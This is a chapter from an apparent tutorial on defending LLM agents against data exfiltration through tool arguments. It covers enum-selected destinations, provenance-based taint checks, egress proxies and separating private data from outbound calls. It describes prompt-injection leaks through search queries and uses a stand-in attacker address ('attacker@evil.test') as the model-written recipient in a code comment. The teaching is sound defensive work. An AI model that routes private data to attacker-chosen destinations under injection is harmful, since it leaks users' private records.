Skip to content

14 min read

Bounding tool arguments by source

On this page

The last chapter left a search query sitting in a web_search argument with a canary in it — a unique string planted in private data so that its appearance elsewhere proves the data escaped — and no obvious place to attach a check. Try the controls you already have and watch them miss. You cannot make the query an enum, because the point of search is arbitrary text. You cannot replace it with a resolved id the way you would sanitise a customer reference — a query has no canonical form to resolve to. Default-deny egress does not fire, because the search API is precisely the host you allowlisted for the search tool to reach. Every control the earlier chapters used inspects the value and asks whether the value is permitted, and a free-text query is permitted by construction. The value is not where the leverage is.

The leverage is the argument's source. A search query composed from the user's own typed question is fine; the same query composed from a private record the user never mentioned is the leak. Two identical-looking strings, one safe and one not, distinguished only by where their content came from. So the controls that work on the tool channel are the ones that bound an argument at its source rather than validating it at the edge, and they come in a few distinct shapes depending on the argument.

Some arguments should never come from the model at all

The cleanest case is an argument that names a destination — an email recipient, a webhook URL, a Slack channel, a file path. There is rarely a good reason for the model to choose these freely, and every reason not to, because a destination the model chose is a destination the attacker chose. Derive them from your own configuration and let the model select among fixed options rather than compose new ones.

python
# Wrong: the model composes the destination as free text.
def send_report(to: str, body: str): ...
#   to="attacker@evil.test"  <- model wrote this under injection

# Right: the destination is an id the model picks; your code resolves it.
ALLOWED_RECIPIENTS = {
    "account_owner": lookup_owner_email,   # resolved from the record, server-side
    "requesting_user": current_user_email,
}
def send_report(to_role: Literal["account_owner", "requesting_user"], body: str):
    address = ALLOWED_RECIPIENTS[to_role]()   # model never sees or writes the address
    ...

Two lines in that snippet carry the entire control, and it is worth saying what each of them does at runtime. Literal["account_owner", "requesting_user"] is a type annotation your tool-definition layer converts into a JSON Schema enum — a list naming the only values this field is permitted to hold — which travels to the model as part of the tool's description and is separately checked by your runtime when a call comes back. ALLOWED_RECIPIENTS[to_role]() is where an address is finally produced: a dictionary lookup keyed by the validated token, calling a function that reads the real address out of your own records. At no point between those two lines does an address exist as text the model wrote.

There is a stumble here worth planting a flag on, because the code above can be copied while the control is left out. An enum in a tool definition is a request to the model, and a request is not a control. If the only thing keeping to_role inside its two permitted values is the model's willingness to pick from the list it was shown, then a model under injection that emits to_role: "attacker@evil.test" hands that string to your dictionary lookup, which raises a KeyError if you are lucky and does something more creative if your resolver falls back to treating an unknown key as a literal address. What converts the declaration into a control is your runtime validating the argument against the schema before dispatch and refusing the call when it does not match. The declaration tells the model what to do. The validation is what makes it true.

The model can say "send it to the account owner," and it cannot say "send it to attacker@evil.test," because the address is never a string it authors — it is a key into a table your code owns. Webhook targets, S3 buckets, database connections, and outbound base URLs all take the same treatment: the model selects an intent, your configuration supplies the value. This is the tool-channel version of the allowlist, moved from validating a value the model produced to never letting the model produce it.

The reason this is stronger than validating a model-produced address against an allowlist is that it removes the value from the model's reach entirely, rather than checking it after the fact. An allowlist of permitted recipient addresses still has the model emit an address, which you then compare against the list, and the failure modes of the last two chapters apply — a permitted address that forwards, a lookalike that passes a loose check, an encoding you did not normalise. An enum of roles has the model emit account_owner, a token with no address in it at all, so there is nothing to forward and nothing to spoof; the address materialises only inside your code, after the model's influence has ended. Whenever an argument's legitimate values form a small closed set — recipients, channels, buckets, environments, report templates — prefer the enum, because it is the one control in this topic that removes the attacker's input instead of inspecting it.

Free-text arguments still have to exist, so bound what feeds them

A destination can be an enum. A search query, a summary to post, a webhook body cannot — they are free text or they are useless. For those, the control is to restrict which part of the context the argument may be composed from, so that private data is not eligible to be in it.

The mechanism that makes this enforceable rather than aspirational comes out of the trifecta framing in topic 7.3, on what an agent needs to hold at once for an injection to pay off. That framing names three things: access to private data, exposure to content an attacker controls, and some way of communicating outward. No single leg is dangerous. Private data with no attacker-supplied content is an ordinary application. Attacker content with no private data in reach is a rude web page. Both of those with no outward channel is a model saying something regrettable to a screen nobody else can see. The attack in the previous chapter is what all three legs held simultaneously looks like, and every control worth having takes one of them away from the call in question. Applied here it says: keep the private data and the untrusted content in separate lanes, and forbid a call that draws a free-text outbound argument from the private lane. Concretely, tag context by provenance, meaning the origin each piece of it came from — user input, tool results, private records, untrusted documents — and when the model wants to call an outbound tool with a free-text argument, check that the argument's content traces to lanes you permit for that tool. A web_search query may be composed from the user's question and public tool results; it may not be composed from a record tagged private. This is not string-matching the canary out of the query, which fails the moment the attacker encodes it; it is a data-flow rule that says private content is not allowed to reach this argument regardless of how it is encoded.

python
# Provenance-tagged context; outbound tool args must not draw from PRIVATE.
def guard_search_query(query: str, context: Context) -> None:
    tainted = context.spans_reaching(query)          # which spans fed this arg
    forbidden = {Prov.PRIVATE, Prov.UNTRUSTED_DOC}
    if tainted & forbidden:
        raise EgressBlocked(
            f"web_search query drew from {tainted & forbidden}; "
            "outbound free-text args may only compose from USER and PUBLIC_RESULT"
        )

That function is a taint check, and naming it that is useful because the technique long predates agents and its vocabulary makes the limits legible. In classical taint analysis you nominate sources, the places sensitive or untrusted values enter; you nominate sinks, the places such a value must never arrive; and you track propagation, so that anything derived from a source is treated as though it were the source. Read the code with those three words in hand and it decomposes: Prov.PRIVATE and Prov.UNTRUSTED_DOC are the sources, the outbound web_search argument is the sink, and context.spans_reaching(query) is the propagation step being asked which labelled spans fed this particular value.

Tracking which spans fed an argument is the hard part, and being honest about why is more useful than presenting it as an engineering detail. A compiler can follow taint exactly, because every value in a program is produced by a named operation on named inputs, so the dependency is a fact written down in the code. A model's output is not a function of identifiable input spans in any form you can read off. It is generated a token at a time, conditioned on the whole context at once, and nothing in that process records which part of the context was responsible. So spans_reaching cannot be exact, and what it can be is one of two approximations. Literal overlap between the argument and each labelled span catches a canary copied verbatim and misses a paraphrase. A coarser rule — treat every private span present in the prompt for this call as reaching every outbound argument of that call — misses nothing and blocks a great deal that was harmless. Picking between them is picking which kind of error you would rather have, and it is imperfect in either direction, which is why this is one control among several and not the whole answer. It raises the cost of the attack substantially, because the attacker now has to launder private data through the model in a way that severs its traceable origin, and it catches the common case where the canary appears verbatim.

See what leaves, even when you cannot stop it

Some outbound tool calls you have to allow with free-text arguments you cannot fully bound. Route them through a proxy you own, so that every tool egress passes through one place that can see the full argument, log it, apply a last-line policy, and give you the trace you will need when something leaks. The proxy does not have to understand the semantics of every argument; it has to be the single chokepoint through which tool-originated outbound requests flow, which is what makes both detection and canary-tracing possible.

Two questions decide whether such a proxy is real or decorative, and both have unglamorous answers that are easy to skip past when drawing the diagram. The first is what obliges traffic to go through it, since a proxy nobody is required to use is a suggestion. The usual mechanisms are a network route that leaves tool workloads no path off the host except through the proxy's address, an HTTP client configured at process level so that every library inherits the setting, and mutual TLS in which the destination refuses connections that did not come from the proxy. Only the first survives a tool author who reaches for their own HTTP client and forgets the shared one.

The second is how the proxy comes to see the argument, given that the connection is encrypted precisely so that things in the middle cannot read it. There are two answers, and choosing deliberately between them is part of the design. The proxy can terminate TLS, meaning it acts as one end of the connection from the tool's point of view and opens a second connection onward, which gives it the plaintext and simultaneously turns it into a machine that holds every secret your tools have ever sent. Or each tool can report its own call to the audit log at the application layer, before anything is encrypted, which is far cheaper and weaker in exactly one way: it depends on every tool remembering to do it, so the tool that leaks is the tool that forgot. The chokepoint property is something you build with one of those two mechanisms. It does not follow from drawing the box.

Flowchart: Model → Tool egress proxy (tool call + args); Tool egress proxy → Audit log (log full args + provenance); Tool egress proxy → Search API (allow); Tool egress proxy → Webhook target (allow); Tool egress proxy → Unlisted destination (deny + alert).

Without the proxy, tool egress is as many exits as you have tools, each making its own outbound request, and you have no single log that answers "what left, carrying what, on whose behalf." With it, the answer to "did the canary leave, and in which argument" is one query. That single chokepoint is also what lets you trace a canary to the first boundary that permitted it, the exercise the topic closes on: plant a unique string, run the injection through a link, a tool parameter, and an outbound webhook, and the proxy log tells you which argument carried it and which control, if any, saw it go.

The controls stack rather than compete, so it helps to see them against the same criteria.

ControlWorks onStopsCost / limit
Destination from config, not modelrecipients, webhook URLs, pathsattacker-chosen destinationmodel loses free choice of target (usually fine)
Provenance-bounded free-text argqueries, bodies, summariesprivate data reaching an outbound argimperfect under paraphrase; needs span tracking
Tool egress proxyall outbound tool callsnothing on its own; sees and logs everythinginfrastructure; a chokepoint to run and keep current
Structural separation of the callthe whole designthe coexistence that makes leakage possiblemay forbid a feature someone wants

The last row is the one to reach for when the others have been stacked and the hole is still open. Stop letting private context and a free-text argument that leaves your network coexist in the same call. That is the trifecta again, applied at the granularity of a single tool invocation: if a call has access to private data and can emit attacker-influenced free text to a destination an attacker can observe, it has all three legs, and the fix is to remove one of them from that call.

Where each control stops being true

Each of the four has a boundary worth knowing before you rely on it, and the boundaries are not the same shape. The enum is the strongest and the narrowest: it holds absolutely, and it only applies where the legitimate values form a closed set, so it protects destinations and never protects queries. The provenance rule is the widest and the softest, because it depends on a span-tracking implementation that a paraphrase can defeat, and because "this argument drew from the private lane" is a judgement your instrumentation makes rather than a fact the runtime knows. The proxy stops nothing at all on its own; it is a place to see and a place to attach, and treating a log as a control is how a team ends up with excellent records of a leak.

Structural separation is the strongest of the four and the one most likely to be undone by a later feature, because the thing it forbids is a capability somebody wants. The pressure arrives as a reasonable request: let the research half see just the customer name, just the account tier, just enough context to search usefully. Each concession is small and the last one is the whole leg put back. Whether the separation survives is decided by whether the boundary is a checkable constraint — an enum, a template with fixed slots — or a convention about what people pass across it.

The controls in this chapter all assume you know which surfaces make outbound requests on the model's behalf. The search tool was easy to spot because it was in the tool manifest, and the enum, the provenance rule and the proxy all attach to things you can name.

The next chapter is about the surfaces that are not in the manifest — the ones a platform team or a vendor owns, the link unfurler that fetches a target server-side to build a preview, the image proxy, the redirect follower — because a control you place on the tools you can see does nothing for the fetches you did not know your product makes.

Data exfiltration channels — read the current version at https://daviddominguez.dev/learn/en/data-exfiltration-channels/bounding-tool-arguments-by-source

Back to top